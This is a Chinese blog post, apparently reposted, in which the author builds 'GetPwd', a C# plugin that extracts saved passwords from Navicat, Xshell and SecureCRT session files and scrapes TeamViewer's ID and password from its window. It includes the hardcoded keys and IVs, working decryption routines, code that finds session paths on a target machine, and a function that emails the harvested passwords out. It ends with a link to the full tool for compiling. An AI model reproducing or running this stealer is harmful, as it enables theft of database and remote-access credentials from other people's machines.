CSharp插件編寫-GetPwd密碼獲取器


在編寫之前我需要介紹該插件的幾個詳細功能。

 

一、Navicat密碼獲取

Navicat密碼是經過Blowfish算法加密后將密文存放在注冊表中

 獲取Navicat密碼就得先介紹Blowfish算法:

  BlowFish算法用來加密64Bit長度的字符串。

  BlowFish算法使用兩個“盒”——ungignedlongpbox[18]和unsignedlongsbox[4,256]。

  BlowFish算法中,有一個核心加密函數:BF_En(后文詳細介紹)。該函數輸入64位信息,運算后,以64位密文的形式輸出。

而Navicat加密密碼一般有如下幾個步驟:

1.生成密匙

在Navicat11中是使用SHA-1算法生成160位密鑰,對“3DC5CA39”取其SHA-1摘要

byte[] Key = {
    0x42, 0xCE, 0xB2, 0x71, 0xA5, 0xE4, 0x58, 0xB7, 0x4A, 0xEA, 0x93, 0x94,
    0x79, 0x22, 0x35, 0x43, 0x91, 0x87, 0x33, 0x40
};

這樣便得到BlowFish算法中的密匙。

 

2.獲得IV初始向量

之前介紹過Blowfish加密是64Bit長度的字符串,也就是8個字節,所以Navicat 用 0xFF 填充一個8字節長的塊,然后利用上面提到的 Key 進行 Blowfish 加密,得到8字節長的初始向量(IV)

IV大致如下:

byte[] IV = {
    0xD9, 0xC7, 0xC3, 0xC8, 0x87, 0x0D, 0x64, 0xBD
};

 

 

3.加密原始密碼

Navicat 使用管道來加密 rawPass 字符串。管道如下所示:

 

 

 只有當最后一個明文塊不是8字節長時,才能執行上圖中顯示的最后一步。

而在Navicat12中,加密算法采用的是AES128/CBC/PKCS7

 

 

 而key和IV是

AesServiceProvider.Key = Encoding.UTF8.GetBytes("libcckeylibcckey");
AesServiceProvider.IV = Encoding.UTF8.GetBytes("libcciv libcciv ");

 

我用HyperSine研究員現成的代碼來改進:https://github.com/HyperSine/how-does-navicat-encrypt-password/tree/master/csharp

 

 

 Navicat的解密大致如上圖所示,我在代碼中添加了一個發件功能

 

 

 運行成果:

 

 

 

 

二、TeamView密碼獲取

獲取的方法沒有別的,只能讀取句柄,然后枚舉指定父窗口的子窗口的字符串

 

 

 代碼如下:

public static void TeamViewPwd() {
            IntPtr intPtr = FindWindow(null, "TeamViewer");
            if (intPtr == IntPtr.Zero)
            {
                Console.WriteLine("沒找到TeamViewer進程或使用了修改版本");
                return;
            }
            EnumChildProc enumFunc = EnumFunc;
            EnumChildWindows(intPtr, enumFunc, IntPtr.Zero);
            foreach (WindowInfo wnd in wndList)
            {
                if (!string.IsNullOrEmpty(wnd.szWindowName))
                {
                    if (wnd.szWindowName.Equals("您的ID") || wnd.szWindowName.Equals("密碼") || wnd.szWindowName.Equals("Your ID") || wnd.szWindowName.Equals("Password"))
                    {
                        int index = wndList.IndexOf(wnd);
                        Console.WriteLine(wnd.szWindowName + ":" + wndList[index + 1].szWindowName);
                    }
                }
            }
        }

        public static bool EnumFunc(IntPtr hWnd, IntPtr lParam)
        {
            StringBuilder stringBuilder = new StringBuilder(256);
            GetClassNameW(hWnd, stringBuilder, stringBuilder.Capacity);
            if (stringBuilder.ToString() == "Edit" || stringBuilder.ToString() == "Static")
            {
                WindowInfo item = default(WindowInfo);
                item.hWnd = hWnd;
                item.szClassName = stringBuilder.ToString();
                if (item.szClassName == "Edit")
                {
                    StringBuilder stringBuilder2 = new StringBuilder(256);
                    SendMessage(hWnd, 13, 256, stringBuilder2);
                    item.szWindowName = stringBuilder2.ToString();
                }
                else
                {
                    GetWindowTextW(hWnd, stringBuilder, stringBuilder.Capacity);
                    item.szWindowName = stringBuilder.ToString();
                }
                wndList.Add(item);
            }
            return true;
        }

 

 

三、Xshell產品密碼獲取

Xmanager官方給出在5.1版本之后,使用的是RC4和SHA256

Xshell uses RC4 with SHA256
  • Xshell < 5.1 版本

Xshell < 5.1 版本采用以字符串“!X@s#h$e%l^l&”的MD5摘要作為作為 RC4 加密算法中的密鑰,而Xftp則是以“!X@s#c$e%l^l&”的MD5作為密匙

  • Xshell = 5.1和5.2 版本

以當前的用戶賬戶的SID的SHA256摘要分為32字節的數組作為密鑰,進行RC4加密

可以通過"whoami /user"命令查看當前賬戶SID

則該SID的SHA256摘要就是:

87842e5d2b6a2dbb4272d15c63732ddb76b282dc1f6237341bd0bf4745c854f4
  • Xshell > 5.2 版本

5.2之后的版本采用的是“user+SID”的組合

則明文是

DELLS-1-5-21-146989610-2346324170-1142363407-1002

如果5.1版本之后設置了Master Key主密碼的情況下,則以主密碼的SHA-256摘要作為 RC4 加密中使用的密鑰

 但是有個重要的原因,就是域用戶的SID和工作組的SID不同,導致加密所使用的Key不同。

這里我請了@PpBibo幫我測試了下環境

給出的解決方案是:獲取創建該Session會話文件的用戶,以及對應用戶的SID

 運行后結果如圖:

 如果session是使用的私鑰,則會解密為"null"

雖然能夠成功輸出了,但是還有一個重點問題沒有解決!那就是除了Session在默認路徑下,極個別的Xshell的Session目錄是在安裝目錄的\log\Xshell\Sessions路徑下

默認路徑:

 以我的本地為例,我的Session路徑是:D:\Program Files\Xshell 6\log\Xshell\Sessions

解決方案:

雖然有點迂回,但應該是比較好的解決方案了。因為Xshell安裝的時候會默認在Start Menu目錄添加快捷方式:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Xshell 6\

 所以我們只需要讀取該lnk文件的起始位置,再加上我們的相對路徑,就能知道目標機器上的Session存放路徑

public static string getlnk()
{
    IWshRuntimeLibrary.WshShell shell = new IWshRuntimeLibrary.WshShell();
    IWshRuntimeLibrary.IWshShortcut shortcut = (IWshRuntimeLibrary.IWshShortcut)shell.CreateShortcut(@"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Xshell 6\Xagent.lnk");
    return shortcut.TargetPath.Replace("Xagent.exe", "");
}

 

 

 有了路徑之后跟上述思路一樣,讀取目錄中的xsh文件

 

四、 SecureCRT密碼獲取

 首先SecureCRT的秘密跟Xshell的一樣,默認將路徑存放在%APPDATA%\VanDyke\Config\Sessions\路徑下。而在SecureCRT 7.3.3版本以下,存放位"Password"字段,而在7.3.3以上則存放為"Password V2"字段。

 

當然,在不同的字段中也有着不同的加解密算法

  • Password字段

該字段中使用的是兩個Blowfish-CBC密碼:cipher1和cipher2

//cipher1
uint8_t Key1[16] = {
    0x24, 0xa6, 0x3d, 0xde, 0x5b, 0xd3, 0xb3, 0x82, 
    0x9c, 0x7e, 0x06, 0xf4, 0x08, 0x16, 0xaa, 0x07
}

//cipher2
uint8_t Key2[16] = {
    0x5f, 0xb0, 0x45, 0xa2, 0x94, 0x17, 0xd9, 0x16, 
    0xc6, 0xc6, 0xa2, 0xff, 0x06, 0x41, 0x82, 0xb7
}

而兩個cipher所使用的IV都是:

uint8_t IV[8] = {
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
}

 再附上GitHub-https://github.com/HyperSine/how-does-SecureCRT-encrypt-password上的解密原理圖:

這里原本是想拿上面Navicat的BlowFish現成的代碼來寫,發現好像有點問題(BlowFish加密原理是真整不明白~~)就在網上搜了一串開源的庫類,我在項目中命名為BlowFishC

 照着流程圖的來先解密Key1去頭尾4字節再Key2

public static string PasswordCRT(String str) {
            byte[] ciphered_bytes = fromhex(str);
            if (ciphered_bytes.Length <= 8) {
                return null;
            }

            BlowFishC algo = new BlowFishC(Key1);
            algo.IV = IV;
            byte[] decryptedTxt = algo.Decrypt_CBC(ciphered_bytes);
            decryptedTxt = decryptedTxt.Skip(4).Take(decryptedTxt.Length - 8).ToArray();

            algo = new BlowFishC(Key2);
            algo.IV = IV;
            ciphered_bytes = algo.Decrypt_CBC(decryptedTxt);
            string ciphered = Findnull(ciphered_bytes);
            
            return ciphered;
}

 

 解密完后去掉null字符串

private static string Findnull(byte[] dec) {
            List<byte> ret = new List<byte>();
            string str = "";
            for (int i=0; i < dec.Length; i++)
            {
                if (dec[i] == 0) {
                    if (dec[i+1] == 0) {
                        i++;
                        continue;
                    }
                }
                str += (char)dec[i];
                ret.Add(dec[i]);
            }
            byte[] test = ret.Where(x => x != 0).ToArray();
            return System.Text.Encoding.Default.GetString(test);
        }

 

 找到字段密碼:

S:"Password"=uac230fec9ceb3a23f1df712c51c556f19264e68dc544acfc  //root

 

 

 

 雖然有些亂碼,但不妨礙破解正常密碼

 

  • Password V2字段

這個字段我覺得可能是Key值不對,我用這個Key加密之后的密文'6029dd61ef0e2358e522d8d4037f8cf3'能夠解密成功。但是用CRT的密文就提示“填充無效,無法被移除”

我還是貼上實現代碼吧~

private static byte[] Key_V2 = { 0xe3, 0xb0, 0xc4, 0x42, 0x98, 0xfc, 0x1c, 0x14, 0x9a, 0xfb, 0xf4, 0xc8, 0x99, 0x6f, 0xb9, 0x24, 0x27, 0xae, 0x41, 0xe4, 0x64, 0x9b, 0x93, 0x4c, 0xa4, 0x95, 0x99, 0x1b, 0x78, 0x52, 0xb8, 0x55 };

public static string V2CRT(string str) {
    byte[] IV = { 
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    };
    byte[] ciphered_bytes = fromhex(str);
    if (ciphered_bytes.Length <= 8)
    {
        return null;
    }
    return AESDecrypt(Convert.ToBase64String(ciphered_bytes), Key_V2);
}

private static string AESDecrypt(string decryptStr, byte[] key)
{
    var _aes = new AesCryptoServiceProvider();
    _aes.BlockSize = 128;
    _aes.KeySize = 256;
    _aes.Key = key;
    _aes.IV = (byte[])(object)new sbyte[16];//Encoding.UTF8.GetBytes(IV);
    _aes.Padding = PaddingMode.PKCS7;
    _aes.Mode = CipherMode.CBC;

    byte[] decryptBytes = System.Convert.FromBase64String(decryptStr);

    var _crypto = _aes.CreateDecryptor(_aes.Key, _aes.IV);
    byte[] decrypted = _crypto.TransformFinalBlock(decryptBytes, 0, decryptBytes.Length);
    _crypto.Dispose();
    return Encoding.UTF8.GetString(decrypted);
    
}

 

 

V2字段沒什么好說的,沒有復現成功,但是解密原理應該沒有錯,可能是密匙Key不對了。

如下調用就行:

public static void SecureCRTPwd() {
    StringBuilder strbuf = new StringBuilder();

    strbuf.Append("[*] Password:" + SecureCRTCipher.PasswordCRT("ac230fec9ceb3a23f1df712c51c556f19264e68dc544acfc"));
    strbuf.Append(Environment.NewLine);
    strbuf.Append("[*] Password V2:" + SecureCRTCipher.V2CRT("6029dd61ef0e2358e522d8d4037f8cf3"));
    strbuf.Append(Environment.NewLine);

    SendMail.Send(strbuf);
}

 

 

 

代碼我就直接上傳到Github上:https://github.com/sf197/GetPwd

需要的自行編譯~

 

 

Reference:

[1].https://www.cnblogs.com/luconsole/articles/3895295.html

[2].https://github.com/HyperSine/how-does-SecureCRT-encrypt-password

[3].https://www.cnblogs.com/mycing/p/8277693.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM